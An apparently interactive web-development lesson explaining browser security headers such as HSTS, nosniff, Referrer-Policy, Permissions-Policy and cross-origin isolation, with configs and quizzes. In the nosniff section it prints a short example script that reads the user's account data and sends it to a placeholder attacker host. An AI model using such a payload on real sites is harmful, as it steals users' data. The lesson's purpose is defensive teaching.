cf.completefrontend
My progress
FUNDAMENTALS · MODULE 11

Security headers

A handful of response headers that switch on browser defenses your code can't build itself: force HTTPS, stop content sniffing, trim the Referer, turn off powerful features, and isolate your page from other origins.

The problem: defenses only the browser can apply

Picture a banking app at bank.example. The code is careful: inputs are escaped, cookies are HttpOnly and Secure, the API checks every token. Then a customer opens a laptop in a coffee shop and types bank.example into the address bar, without https://.

Older browsers send that first request over plain HTTP. Newer ones try HTTPS first but fall back to plain HTTP if that attempt fails. Either way, the server answers HTTP with a redirect to HTTPS, which is the right thing to do.

But the coffee shop's Wi-Fi is run by an attacker. The attacker makes the HTTPS attempt fail, answers the plain HTTP request first, and serves a perfect copy of the login page from their own machine. Nothing in the bank's code ever ran.

This is the kind of attack that careful application code can't stop. The weak moment happens inside the browser, before your page loads or after it leaves. The only fix is to tell the browser, ahead of time, how to behave. That is what security headers are: HTTP response headers that turn on defenses built into the browser.

What the headers in this lesson do

Each header closes one gap. Most are a single line on the response, cost nothing at runtime, and never change how a working page looks. A few can break things if you set them carelessly, which is why this lesson spends as much time on failure modes as on syntax.

  • Strict-Transport-Security (HSTS): always use HTTPS for this site, even if the user types http://. Fixes the coffee shop attack.
  • X-Content-Type-Options: nosniff: trust the Content-Type header, never guess from the bytes. Stops an uploaded "image" from running as a script.
  • Referrer-Policy: decide how much of the current URL is sent to other sites in the Referer header. Stops tokens and private paths in URLs from leaking.
  • Permissions-Policy: turn off camera, microphone, geolocation, payment and other powerful features for your page and its iframes. Shrinks what a compromised script can do.
  • Cross-Origin-Opener-Policy, Cross-Origin-Embedder-Policy, Cross-Origin-Resource-Policy: separate your page from other origins so side-channel attacks like Spectre can't read its memory. Unlocks SharedArrayBuffer and precise timers.
  • Cache-Control: no-store and Clear-Site-Data: keep private pages out of caches and wipe data when the user logs out.

Two headers you may expect are not here in depth, because they have their own lessons. Content-Security-Policy (CSP) controls which scripts and resources may load: see the CSP lesson. CORS headers like Access-Control-Allow-Origin relax the same-origin policy for APIs: see the CORS lesson.

Framing rules (X-Frame-Options and frame-ancestors) live in the clickjacking lesson. This lesson covers everything around them.

A map of security headers in four layers. Transport, before the request: Strict-Transport-Security. Beside it, shown dashed, CSP, CORS, and framing rules, which are covered in their own lessons. Content handling, for one response: nosniff, Referrer-Policy, and Permissions-Policy. Isolation, for who shares a process: COOP, COEP, and CORP. Private data, for caches and logout: Cache-Control no-store and Clear-Site-Data.Transport: before the requestStrict-Transport-SecurityIn their own lessonsCSP, CORS, framingContent handling: one responsenosniffReferrer-PolicyPermissions-PolicyIsolation: who shares a processCOOPCOEPCORPPrivate data: caches and logoutCache-Control: no-storeClear-Site-Data
Each layer guards a different moment. Only the transport rule is remembered by the browser; everything below it has to be on every response.

Why not just fix it in code?

Some of these problems sound like they could be fixed in JavaScript. They can't, for three reasons.

First, timing: the HSTS attack happens before any of your code loads. Second, scope: the browser decides how to treat a response (as a script, as an image, in which process) before your code sees it. Third, trust: if an attacker can run code in your page, any defense written in that same page can be turned off. A header is read by the browser itself, from a place an injected script can't reach.

That is the mental shift: security headers are instructions to the browser, not features of your app. The server says "here is the response, and here are the rules for handling it". The browser enforces the rules even when the page's own code is compromised.

Check your understanding · Exercise 1

A user types shop.example (no scheme) on hotel Wi-Fi. The shop redirects HTTP to HTTPS and sets every cookie with Secure. Which statements are true? Select all that apply.

The mental model: a rule sheet stapled to every response

Think of each HTTP response as a parcel. The body is what's inside. The headers are the label on the box.

Most labels describe the contents: Content-Type: text/html, Content-Length: 5120. Security headers are a different kind of label: a short rule sheet that says "handle this parcel in this way".

The browser is the courier who reads the rule sheet. It doesn't matter what the contents later try to do: if the sheet says "no camera", a script inside can ask for the camera all day and the courier says no. That is why these headers still work after an attacker gets code into your page.

Four groups of rules

It helps to sort the headers by what they protect, because that tells you when the browser reads them and how far each one reaches.

GroupHeadersProtectsRemembered for
TransportStrict-Transport-SecurityThe connection: only HTTPS, no click-through on bad certificatesThe whole host, for max-age seconds
Content handlingX-Content-Type-Options, Referrer-Policy, Permissions-PolicyHow one response is used, what it shares, and what it may doOnly this response (or the document it creates)
IsolationCross-Origin-Opener-Policy, Cross-Origin-Embedder-Policy, Cross-Origin-Resource-PolicyWhich other origins can share a process, a window link, or your resourcesThis document, or this resource
Private dataCache-Control: no-store, Clear-Site-DataCopies of one user's data in caches and storageThis response; Clear-Site-Data acts once, when it arrives

The last column is the one people miss. HSTS is the only header in this lesson the browser remembers: one response sets a rule for every later request to that host. Every other header only applies to the response it arrives on. So a Permissions-Policy on your home page does nothing for your settings page: every HTML response needs its own copy.

When the browser reads each one

Each header acts at a different moment in the life of a page. Some act before a single byte is sent, some while the response is parsed, some for as long as the page stays open. Follow one page load from the address bar to the logout button:

A timeline of one page's life in four phases, left to right. Before the request: the HSTS upgrade from http to https. When the response arrives: COOP picks the browsing context group and nosniff checks the type. While the page runs: COEP checks each subresource, Permissions-Policy answers powerful API calls, and Referrer-Policy trims outgoing Referer headers. When the page is stored or ends: Cache-Control no-store and Clear-Site-Data.timebefore requestHSTS upgraderesponse arrivesCOOP groupnosniff checkpage runsCOEP checksPermissionsReferrer trimstored or endsno-storeClear-Site
HSTS acts before a single byte is sent; the others act on the response and on what the page does next. Clear-Site-Data is shortened to fit.
  1. Before the request. The browser checks its HSTS list. If the host is there, http:// becomes https:// without asking the network.
  2. When the response arrives. COOP decides whether the new page shares a browsing context group (a set of windows that can reach each other and may share a process) with the page that opened it. nosniff checks that the type matches how the response is used.
  3. While the page runs. COEP checks each subresource the page loads. Permissions-Policy answers every call to a powerful API. Referrer-Policy trims the Referer on each outgoing request and link.
  4. When the page is stored or ends. Cache-Control: no-store keeps it out of caches; Clear-Site-Data on the logout response wipes what the site left behind.

Why they are opt-in

If these protections are so useful, why doesn't the browser apply them to every site? Because each one breaks something some old site relies on.

A site that still serves one subdomain over HTTP breaks under HSTS. A site that serves scripts as text/plain breaks under nosniff. A site that embeds a widget from another origin breaks under COEP. Browsers can't know which sites are ready, so the site has to say so.

Over time, the safest settings become defaults. strict-origin-when-cross-origin became the default Referrer-Policy in 2020 and 2021, and cookies became SameSite=Lax by default in Chromium. But you can't count on defaults across every browser and in-app web view, so you still send the header.

Check your understanding · Exercise 2

Your server sends security headers only on the home page response, /. A user goes straight to /account from a bookmark. Which protections still apply on /account? Select all that apply.

HSTS: HTTPS, every time, before the first byte

Back to the coffee shop. The attack has a name: SSL stripping. The attacker sits between the user and the internet, lets the first plain HTTP request reach them, and never forwards the redirect to HTTPS.

They talk HTTPS to the real bank and HTTP to the user, copying everything in between. The address bar shows http://bank.example, and most people never look.

Strict-Transport-Security (HSTS, HTTP Strict Transport Security) removes the plain HTTP request. Once the browser has seen the header, it treats the host as HTTPS-only. Typed addresses, old bookmarks, and http:// links are all rewritten to https:// inside the browser, and Chrome DevTools shows this as a 307 Internal Redirect that never touched the network.

A sequence diagram between the browser, an attacker on the Wi-Fi, and bank.example. First visit, no HSTS: the browser sends GET http://bank.example, the attacker answers with a fake login page over HTTP, and talks HTTPS to the real bank as the user. Later visits, with the HSTS rule stored: the browser rewrites http to https locally with a 307 internal redirect, sends an encrypted GET https://bank.example that the attacker can't read, and the bank answers 200 with the HSTS header again, restarting the clock.BrowserWi-Fi attackerbank.examplehttp://bank.examplefake login, HTTPHTTPS, as the userlater, HSTS rule stored307 internal: httpsGET https://bank.example200 + HSTS header
Without HSTS, the attacker only has to win one plain HTTP request. With the rule stored, there is no plain request to win: the upgrade happens inside the browser.

The three directives

http
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
Two years, every subdomain, and eligible for the preload list.
  • max-age is how long, in seconds, the browser remembers the rule. Each new response with the header restarts the clock. 31536000 is one year, 63072000 two years. max-age=0 tells the browser to forget the rule, which is how you back out.
  • includeSubDomains applies the rule to every subdomain too: api.bank.example, mail.bank.example, and the forgotten old-promo.bank.example that still runs on HTTP. Without it, an attacker can strip a subdomain and use it to set cookies for the parent domain.
  • preload is not part of the HSTS standard (RFC 6797). It is a signal to the preload list maintainers that you agree to be added. On its own it does nothing.

Two rules surprise people. First, the browser ignores the header if it arrives over plain HTTP, because an attacker could inject it. Send it on HTTPS responses only.

Second, on an HSTS host the browser won't let the user click past a certificate error. That is a feature: the "proceed anyway" button is exactly what an attacker with a fake certificate hopes the user will press.

The first-visit gap and the preload list

HSTS has one hole: the browser has to see the header once. A brand-new laptop, a cleared browser, or a rule whose max-age ran out all start unprotected. The HSTS preload list closes the hole. It is a list of domains compiled into Chrome, and shared with Firefox, Safari, and Edge, that are HTTPS-only from the very first request.

To be accepted at hstspreload.org, a domain must serve a valid certificate, redirect HTTP to HTTPS on the same host, serve every subdomain over HTTPS, and send the header on the base domain with max-age of at least one year, includeSubDomains, and preload. Some whole top-level domains are preloaded: every .app and .dev site is HTTPS-only by design.

Why preloading is hard to undo

The preload list ships inside browser releases. Getting removed means a request, then waiting for new browser versions to ship and for users to update: in practice months, and some users run old browsers for years. During that time, any subdomain that can't do HTTPS simply doesn't load. There is no button the user can press.

  • An internal tool at wiki.corp.example on HTTP with a self-signed certificate stops working for every employee.
  • A marketing team points promo.example at a vendor that only serves HTTP. It's unreachable.
  • A company sells a subdomain's traffic to a partner who can't get a certificate in time. Same result.

So roll out in stages and let real traffic tell you whether anything breaks. Raise max-age only after a full period at the current value passes with no complaints.

A bar chart on a log scale of the HSTS max-age at five rollout stages. Stage 1: 300 seconds, 5 minutes. Stage 2: 604,800 seconds, 1 week. Stage 3: 2,592,000 seconds, 1 month, adding includeSubDomains. Stage 4: 31,536,000 seconds, 1 year. Stage 5: 63,072,000 seconds, 2 years, adding preload and submitting to the preload list.max-age per stage, log scale1. max-age=300, 5 minutes2. max-age=604800, 1 week3. max-age=2592000, 1 month+ includeSubDomains4. max-age=31536000, 1 year5. max-age=63072000, 2 years+ preload, submit
Bars use a log scale: each stage holds a much longer promise than the one before. Move to the next stage only after the current one has run with no broken subdomains, because each step is harder to take back.

Check your understanding · Exercise 3

A team sends Strict-Transport-Security: max-age=63072000; includeSubDomains; preload from example.com and submits it to the preload list. Which of these are real consequences? Select all that apply.

X-Content-Type-Options: no guessing what a response is

Every response says what it is in Content-Type: text/html, application/json, image/png. In the early web, servers got this wrong all the time, so browsers learned to look at the bytes and guess.

That guessing is called MIME sniffing (MIME types are the names like text/html). It made broken sites work. It also made a class of attacks possible.

How sniffing becomes an attack

Take a forum at forum.example that lets users upload avatars and files. The files are served from the same origin, at URLs like /uploads/8812.txt. An attacker uploads a file that is plain text to the server but is valid JavaScript to a browser:

text
// uploaded as notes.txt, served as text/plain
fetch("/api/me").then(r => r.json())
  .then(me => navigator.sendBeacon("https://evil.example/c", JSON.stringify(me)));
Harmless as text. Dangerous if a browser agrees to run it as a script.

Then, through a small HTML injection somewhere on the site, they add script src="/uploads/8812.txt". The file comes from the forum's own origin, so a CSP with script-src 'self' allows it. Without nosniff, many browsers have been willing to run a text/plain response as a script. The upload becomes code that runs as the logged-in user.

With X-Content-Type-Options: nosniff, the browser refuses. A response used by a script element must have a JavaScript type such as text/javascript, and one used as a stylesheet must be text/css. Anything else is blocked, with a console error that names the wrong type.

Before and after. A script tag loads /uploads/8812.txt, served as text/plain. Without nosniff: the CSP rule script-src 'self' passes because it is same-origin, the browser sniffs the bytes as JavaScript, and the file runs as the logged-in user. With nosniff: the CSP rule still passes, but the browser sees the type is text/plain, not a JavaScript type, and blocks it with a console error.script src="/uploads/8812.txt"without nosniffCSP 'self': passessniffed: looks like JSruns as the userwith nosniffCSP 'self': passestype is text/plainblocked, console error
CSP passes in both cases, because the file is same-origin. nosniff is the check that cares what the response says it is.

What it does and doesn't do

  • Blocks scripts and styles with the wrong type. This is the main effect, and every current browser enforces it.
  • Works per response. The header has to be on the script or style response itself, not on the page that loads it.
  • Helps cross-origin read blocking. When another site tries to load your JSON or HTML as an image or script, a correct Content-Type plus nosniff helps the browser drop the body before it ever reaches that site's process.
  • Does not check images or fonts strictly. Browsers still sniff image formats; nosniff is about not running data as code.

The only way nosniff hurts is if your own server sends wrong types. A legacy CDN that serves .js files as application/octet-stream, or an old API that returns JSONP as text/plain, breaks. The fix is to correct the type, which you want anyway.

Serving user uploads safely

nosniff is one layer. User files deserve three more, because they are the most common way attacker-controlled bytes end up on your origin:

  1. Serve them from a separate origin, such as usercontent.example. Even if something runs there, it can't read your cookies or call your API as the user. Google and GitHub do this with their own content domains.
  2. Set the real type, or application/octet-stream with Content-Disposition: attachment to force a download for anything you don't recognise. Never echo a type the uploader chose.
  3. Never serve uploads as text/html or image/svg+xml inline from your main origin. SVG is an image format that can contain scripts.

Check your understanding · Exercise 4

Your app sends X-Content-Type-Options: nosniff on every response. Which of these will the browser now block? Select all that apply.

Referrer-Policy: what your URLs tell other sites

When a page loads an image, a script, or a font, or when the user clicks a link, the browser can tell the destination where the request came from. It does this with the Referer header (the misspelling is part of the HTTP standard; the policy header spells it correctly). It is useful for analytics and for spotting hotlinks. It is also a leak.

What leaks through the Referer

URLs carry more than people think. A password reset link: https://shop.example/reset?token=9f2c.... A search: https://clinic.example/search?q=hiv+test. An internal page: https://admin.shop.example/orders/10023/refund.

If any of those pages loads a third-party analytics script or the user clicks an outbound link, a full Referer hands the whole URL, token and all, to someone else.

The reset token case is the classic. The reset page shows a help link to a support site. The user clicks it before resetting. The support site's logs now hold a working reset token for the user's account.

The eight values

Referrer-Policy picks how much of the URL to send, based on two questions: is the destination the same origin or another one, and is the request going from HTTPS down to HTTP (a downgrade)?

PolicySame originCross origin, HTTPSHTTPS to HTTP
no-referrernothingnothingnothing
same-originfull URLnothingnothing
originorigin onlyorigin onlyorigin only
strict-originorigin onlyorigin onlynothing
origin-when-cross-originfull URLorigin onlyorigin only
strict-origin-when-cross-origin (default)full URLorigin onlynothing
no-referrer-when-downgradefull URLfull URLnothing
unsafe-urlfull URLfull URLfull URL

"Origin only" means the scheme, host, and port, like https://shop.example/: enough for a partner to know traffic came from your site, never the path or query. Try the policies on a few requests below to see exactly what each destination receives.

Referrer-Policy
From https://shop.example/reset?token=abc with Referrer-Policy strict-origin-when-cross-origin. https://shop.example/api/log, same origin, receives full URL + token. https://cdn.shop.example/a.js, same site, other origin, receives https://shop.example/. https://help.vendor.example, other site, receives https://shop.example/. http://old-ads.example/px, other site, plain HTTP, receives nothing.from https://shop.example/reset?token=abchttps://shop.example/api/logsame originfull URL + tokenhttps://cdn.shop.example/a.jssame site, other originhttps://shop.example/https://help.vendor.exampleother sitehttps://shop.example/http://old-ads.example/pxother site, plain HTTPnothing
The browser default: your own origin gets the full URL, other origins get only your origin, and plain HTTP gets nothing. Note that a subdomain counts as another origin.

The default changed, but set it anyway

For years the default was no-referrer-when-downgrade, which sent the full URL to every HTTPS site. Chrome switched the default to strict-origin-when-cross-origin in version 85 (2020) and Firefox in version 87 (2021). Safari trims cross-site referrers to the origin as part of its tracking prevention. So most users already get a safe default.

Set the header anyway. It documents your intent, it covers older browsers and in-app web views, and it lets you go stricter on pages that need it. Most sites set strict-origin-when-cross-origin globally and no-referrer on pages with secrets in the URL.

Finer control in HTML

  • Per element: img referrerpolicy="no-referrer" or a referrerpolicy="origin" overrides the page policy for one request.
  • Per link: a rel="noreferrer" sends no Referer and also implies noopener, so the new tab can't reach back through window.opener.
  • Per document in a meta tag: meta name="referrer" content="no-referrer" works when you can't set headers, unlike some other headers in this lesson.

Check your understanding · Exercise 5

A page at https://shop.example/reset?token=abc has the default strict-origin-when-cross-origin policy. Which statements are true? Select all that apply.

Permissions-Policy: switch off what you don't use

Browsers give pages access to powerful features: camera, microphone, location, payments, USB devices, fullscreen, autoplay with sound. Most ask the user first. But a prompt that says "bank.example wants to use your camera" is persuasive, because the user trusts bank.example. They can't tell that the request came from a compromised chat widget, not from the bank.

Permissions-Policy lets the site decide, before any script runs, which features can even be requested, and by whom. A feature that is off fails at once: the API throws or rejects, and the user never sees a prompt. Nobody can switch it back on from inside the page.

Reading the syntax

http
Permissions-Policy: camera=(), microphone=(), geolocation=(self),
  payment=(self "https://pay.example"), fullscreen=*
One header line in practice; wrapped here to read.
  • feature=(): an empty list. Nobody may use it: not your page, not any frame.
  • feature=(self): your own origin, in the top page and same-origin frames.
  • feature=(self "https://pay.example"): your origin plus a frame from that origin, if the frame is also granted the feature with allow.
  • feature=*: any origin may use it, as long as the embedding page grants it to the frame.

The header is a ceiling for the page and everything inside it. Each feature also has a default allowlist, and for the powerful ones (camera, microphone, geolocation, payment) the default is self: your own page may ask, cross-origin iframes may not unless the iframe tag grants it with allow. The clickjacking and iframes lesson covers the allow attribute in depth. Here, the thing to remember is that a frame needs both: your header must permit its origin, and its allow attribute must grant the feature.

A tree. The top page shop.example sends Permissions-Policy geolocation=(self "https://maps.example"). It has four frames. /checkout, same origin: may ask for location, because of self. maps.example with allow=geolocation: may ask, because it is listed and granted. chat.vendor with no allow attribute: may not. ads.example with allow=geolocation: may not, because it is not on the header's list.shop.example (top page)geolocation=(self maps.example)/checkoutsame originlocation: yesselfmaps.exampleallow=geolocationlocation: yeslisted + allowchat.vendorno allow attrlocation: nono allowads.exampleallow=geolocationlocation: nonot listed
A cross-origin frame needs two yeses: its origin in your header, and the feature in its allow attribute. Either one alone is not enough.

What to turn off

Start from the features your product actually uses and turn everything else off. A typical shop uses payment and maybe geolocation for store finders. It never needs camera, microphone, usb, serial, bluetooth, midi, or display-capture. Listing them with () costs a few bytes and removes a whole class of abuse.

Some features matter for performance and UX rather than privacy. autoplay=() stops any frame, your own page included, from autoplaying media with sound. sync-xhr=() stops any script on the page from making synchronous XMLHttpRequest calls that freeze the main thread.

Browser support and the old name

Chromium browsers (Chrome, Edge, Opera, Samsung Internet) enforce the header. Firefox and Safari, as of 2025, support the iframe allow attribute but not the full header, so the header is a strong layer for most of your users and not a guarantee for all. The older name was Feature-Policy, with a different syntax (camera 'none'). It still works in places but is deprecated: send Permissions-Policy.

Check your understanding · Exercise 6

Your page sends Permissions-Policy: camera=(), geolocation=(self) and embeds iframe src="https://maps.example" allow="geolocation". Which are true? Select all that apply.

COOP, COEP, and CORP: cross-origin isolation

In January 2018, researchers published Spectre: a family of attacks where code reads memory it should never see by timing how fast the CPU accesses data. In a browser, that meant JavaScript on evil.example could, in theory, read anything else in the same process: another site's page, or a cross-origin image or JSON response it had loaded. All it needed was a very precise clock.

Browsers answered in two ways. They moved sites into separate processes (site isolation, covered in the browser architecture lesson). And they made precise clocks harder to get: performance.now() was coarsened, and SharedArrayBuffer, which a second thread can turn into a very precise timer, was switched off. It came back only for pages that prove they are cross-origin isolated.

What isolation unlocks

  • SharedArrayBuffer: memory shared between the page and its workers. WebAssembly threads need it, so it matters for video editors, image tools, games, in-browser databases, and IDEs.
  • Finer timers: Chromium gives performance.now() 5 microsecond resolution in isolated pages, against 100 microseconds otherwise. Profilers and audio tools care.
  • performance.measureUserAgentSpecificMemory(): the memory used by the page and its workers, for finding leaks in production. Chromium only.

You check it with one flag: self.crossOriginIsolated is true when the page is isolated. Two headers on the HTML response turn it on, and a third header on your resources makes them loadable under it.

COOP: who can share my window group

Cross-Origin-Opener-Policy controls the link between your page and windows it opens or that opened it. Normally a popup and its opener share a browsing context group: they can reach each other through window.opener and the return value of window.open, and may share a process.

  • unsafe-none (default): no separation.
  • same-origin-allow-popups: a cross-origin page that opens yours loses its handle, but popups you open keep theirs. Login and payment popups that post back still work. A good default even if you never need isolation.
  • same-origin: full separation. Only same-origin pages with the same policy share your group. Required for isolation.

COOP also stops a class of attacks called XS-Leaks: a malicious page opens yours with window.open, then probes it (counting frames.length, watching navigations) to learn whether the user is logged in or what they searched. With same-origin, the attacker's handle points at nothing useful.

COEP: everything I load has agreed

Cross-Origin-Embedder-Policy is about what your page loads. Under isolation, your process could read every byte of every resource it loads. So the browser insists that each cross-origin resource has agreed to be loaded, in one of two ways: it is served with CORS (the crossorigin attribute plus Access-Control-Allow-Origin), or it sends a Cross-Origin-Resource-Policy header that allows your origin.

A flowchart of how the browser decides whether a subresource loads on a page with Cross-Origin-Embedder-Policy. Is it same origin? Yes: it loads. No: is it requested with the crossorigin attribute? Yes: it goes through a CORS check and needs Access-Control-Allow-Origin. No: what is the COEP value? Credentialless: it loads without cookies. Require-corp: does its Cross-Origin-Resource-Policy header allow your origin? Yes: it loads. No: it is blocked.same origin?yesloadsnocrossorigin attr?yesCORS checknoCOEP value?credentiallessloads, no cookiesrequire-corpCORP allows you?yesloadsnoblocked
Under require-corp, a third party that sends neither CORS nor CORP ends at the bottom box. credentialless takes the side exit, at the price of no cookies.

This is where isolation gets expensive. Your own files are easy. Third-party images, ad scripts, embedded videos, and avatar hosts often send neither CORS nor CORP, and under require-corp they simply fail to load, with a console error and a broken image. Cross-origin iframes need their own COEP and CORP headers too.

CORP: who may load my resource

Cross-Origin-Resource-Policy is the resource's side of the deal. It goes on images, scripts, fonts, and API responses, and it says who may embed them: same-origin, same-site, or cross-origin. It also protects you without any isolation: CORP: same-site on your private API stops other sites from pulling those responses into their process with an img or script tag at all.

Decision How strict should COEP be?

require-corp

Every cross-origin no-cors resource must send Cross-Origin-Resource-Policy allowing you, or be loaded with CORS.

Pros

  • Supported in every current browser, including Safari.
  • Resources load with cookies as normal.

Cons

  • Any third party that doesn't send CORP breaks, and you can't fix their headers.
  • Needs an inventory of every embed before rollout.

credentialless

Cross-origin no-cors requests are sent without cookies or other credentials, so they load even without CORP.

Pros

  • Public third-party images and scripts keep working with no change on their side.
  • Far easier rollout for content-heavy sites.

Cons

  • Resources that need the user's cookies (a private avatar host) come back as the logged-out version.
  • Supported in Chromium and desktop Firefox (version 119 and later), but not in Safari as of 2025, so Safari users get no isolation.

No isolation, only COOP: same-origin-allow-popups and CORP on your own resources

Skip COEP. Keep the cheap protections that don't break embeds.

Pros

  • Nothing third-party breaks.
  • Still blocks most window-handle XS-Leaks and protects your resources.

Cons

  • No SharedArrayBuffer and no precise timers.

What we pick: Most content sites and dashboards don't need SharedArrayBuffer, so take the third option. Apps built on WebAssembly threads (editors, design tools, in-browser databases) need isolation: start with credentialless where browsers support it, serve every first-party asset with CORP, and move auth-dependent embeds to CORS.

Check your understanding · Exercise 7

A video editor sends Cross-Origin-Opener-Policy: same-origin and Cross-Origin-Embedder-Policy: require-corp on /editor. Which are true? Select all that apply.

Private pages, logout, and headers to retire

Two more headers protect the user's data after it reaches the browser: one keeps private pages out of caches, the other wipes the site's data on logout. Then there is a short list of headers you will still see in old configs and should remove or neutralise.

Cache-Control for sensitive pages

A bank statement page, an inbox, an admin screen: these responses are for one user at one moment. If a shared cache (a CDN or a company proxy) stores one, the next person can be served another user's page. If the browser stores it, the next person on a shared computer can press Back after logout and read it.

http
Cache-Control: no-store
On every response that contains one user's private data, HTML and API alike.

no-store tells every cache not to keep a copy at all. private is weaker: it lets the browser cache the page but forbids shared caches. no-cache is not what it sounds like: it allows storing and only forces revalidation before reuse. The HTTP caching lesson covers these directives in depth; for security, the rule is no-store for private pages and private at the very least for anything per-user.

There is a cost. For years, pages with no-store were kept out of the back/forward cache (bfcache), so Back reloaded them from the network instead of being instant. In 2025 Chrome began letting most no-store pages in, but it evicts them if the site's cookies change while cached, for example after a logout. Other browsers may still refuse them, so use no-store on the pages that really are private, not on the whole site.

Clear-Site-Data on logout

Logging out usually deletes the session cookie. But the browser still holds cached API responses, localStorage drafts, IndexedDB rows, service worker caches, and maybe a second open tab still showing the inbox. On a shared or lost device, all of that is readable.

http
HTTP/1.1 303 See Other
Location: /signed-out
Clear-Site-Data: "cache", "cookies", "storage"
The logout response. The values are quoted strings.
  • "cookies": removes cookies for the site, which signs the user out everywhere on that site, including subdomains.
  • "storage": clears localStorage, sessionStorage, IndexedDB, and service worker registrations.
  • "cache": clears the HTTP cache for the site.
  • "executionContexts": was meant to reload open tabs of the site, but no current browser supports it. "*" means all of the types.

The header only works on HTTPS responses. Chrome, Firefox, and Safari (since version 17) all support it, but details differ between versions and older browsers ignore it. So keep your logout code doing the obvious things too: delete the session on the server, clear in-memory state, and tell other tabs with a BroadcastChannel message. "cache" can stall Chrome for seconds, so some sites send only "cookies", "storage".

Headers to retire

A table of old headers. X-XSS-Protection: the filter was removed; omit it or send 0. Public-Key-Pins: removed from browsers; delete it. Expect-CT: no effect now; delete it. Feature-Policy: renamed; use Permissions-Policy. X-Frame-Options: still honored; keep it as a fallback next to CSP frame-ancestors.headerbrowsers todaywhat to doX-XSS-Protectionfilter removedomit, or 0Public-Key-PinsremoveddeleteExpect-CTno effectdeleteFeature-PolicyrenamedPermissions-PolicyX-Frame-Optionsstill honoredkeep as fallback
Four of the five should leave your config. X-Frame-Options stays only as a fallback, because CSP frame-ancestors wins wherever both are present.
  • X-XSS-Protection turned on built-in XSS filters in old Chrome, Edge, and Internet Explorer. The filters were removed (Chrome dropped its XSS Auditor in 2019) because attackers could abuse them to switch off legitimate scripts and to leak data. Omit the header, or send X-XSS-Protection: 0 to make sure any old browser keeps the filter off. Never send 1; mode=block today.
  • Public-Key-Pins (HPKP) pinned a site to specific certificate keys. A mistake, or an attacker who briefly controlled the site, could lock every visitor out for the pin's lifetime. Chrome dropped it in 2018, and no current browser supports it.
  • Expect-CT asked browsers to require Certificate Transparency logs for your certificate. Major browsers now require that for publicly trusted certificates anyway, so the header does nothing and is deprecated.
  • X-Frame-Options is still useful as a fallback, but CSP frame-ancestors replaces it in every current browser. See the clickjacking lesson for how the two interact.

Check your understanding · Exercise 8

A user signs out of a webmail app on a library computer. Which steps make it hard for the next user to read the mail? Select all that apply.

Where to set headers and how to roll them out

Every header in this lesson only works if it's on the right responses. The most common real-world failure isn't a wrong value: it's a header that is on the home page but missing on error pages, on the API, on static files, or on the new route someone added last week. So the first design question is where the headers live.

A layered diagram. A response goes from the app or framework, through nginx or a proxy, through the CDN or edge, to the browser. The CDN sets the baseline on every response: HSTS, nosniff, Referrer-Policy, and Permissions-Policy. The proxy must add headers to error pages and static files too, with add_header always in nginx. The app sets per-route headers: a CSP nonce, no-store on private pages, and COEP on the editor route.BrowserCDN / edgebaseline on every response:HSTS, nosniff, Referrer, Permissionsnginx / proxyerror pages and static files:add_header ... alwaysapp / frameworkper route: CSP nonce,no-store, COEP on /editorresponse
Baseline at the outermost layer, so nothing slips past it. Per-route rules in the app, next to the code they protect.

Decision Which layer should own the security headers?

CDN or edge

Response header rules in the CDN config (Cloudflare, Fastly, CloudFront), or a platform file like Netlify's _headers or vercel.json.

Pros

  • Every response passes through it, including static files and cached pages.
  • One place for every app behind the domain.

Cons

  • Lives outside the app repo in many setups, so it drifts from the code.
  • Hard to vary per page, such as COEP only on /editor.

Web server or reverse proxy

add_header in nginx, Header set in Apache, or the ingress controller config.

Pros

  • Close to the app, versioned with infra code.
  • Works for any framework behind it.

Cons

  • Easy to miss responses: nginx skips add_header on error statuses without always, and a nested block with its own add_header drops the parent's.

App framework or middleware

headers() in next.config.js, Helmet for Express, middleware in any server framework.

Pros

  • Lives next to the code, reviewed in the same pull request.
  • Easy to vary per route and to add per-request values like CSP nonces.

Cons

  • Static files served directly by the CDN or storage bucket may skip the app entirely.

What we pick: Set the site-wide baseline (HSTS, nosniff, Referrer-Policy, Permissions-Policy, COOP) at the outermost layer every response passes through, usually the CDN. Set per-route headers (CSP with nonces, COEP on isolated pages, no-store on private pages) in the app. Then test the real responses, not the config.

Two real configs

js
// next.config.js
const baseline = [
  { key: "Strict-Transport-Security", value: "max-age=63072000; includeSubDomains; preload" },
  { key: "X-Content-Type-Options", value: "nosniff" },
  { key: "Referrer-Policy", value: "strict-origin-when-cross-origin" },
  { key: "Permissions-Policy", value: "camera=(), microphone=(), geolocation=()" },
  { key: "Cross-Origin-Opener-Policy", value: "same-origin-allow-popups" },
];

module.exports = {
  async headers() {
    return [
      { source: "/:path*", headers: baseline },
      { source: "/editor/:path*", headers: [
        { key: "Cross-Origin-Opener-Policy", value: "same-origin" },
        { key: "Cross-Origin-Embedder-Policy", value: "credentialless" },
      ] },
    ];
  },
};
A baseline for every route, plus isolation on the one route that needs it.
text
# nginx: "always" adds the header to 4xx and 5xx responses too
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
Without always, an error page goes out with none of these.

Try before you enforce

The two headers most likely to break things have a report-only mode. Cross-Origin-Embedder-Policy-Report-Only and Cross-Origin-Opener-Policy-Report-Only change nothing for the user, but tell the browser to send a report for every resource or popup that would have broken. Point them at an endpoint named in the Reporting-Endpoints header, run them for a week or two, and fix or replace what shows up before you switch to enforcing. Not every browser sends these reports (Chromium does), but reports from one engine are enough to find most of what would break.

http
Reporting-Endpoints: security="https://shop.example/reports"
Cross-Origin-Embedder-Policy-Report-Only: require-corp; report-to="security"
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="security"

HSTS has no report-only mode, which is why its rollout uses short max-age values instead. Permissions-Policy has no report-only header in wide use either, but it is safe to roll out feature by feature, because a feature you never call can't break.

Lab: toggle the headers and watch what changes

The lab below is one response from a photo editing app. Switch each header on or off, and pick a value where there's a choice.

The left column shows which attacks the current set blocks. The right column shows which features break. Try to find the set that blocks the most without breaking what the app needs.

Strict-Transport-Security
X-Content-Type-Options: nosniff
Referrer-Policy
Permissions-Policy
Cross-Origin-Opener-Policy
Cross-Origin-Embedder-Policy
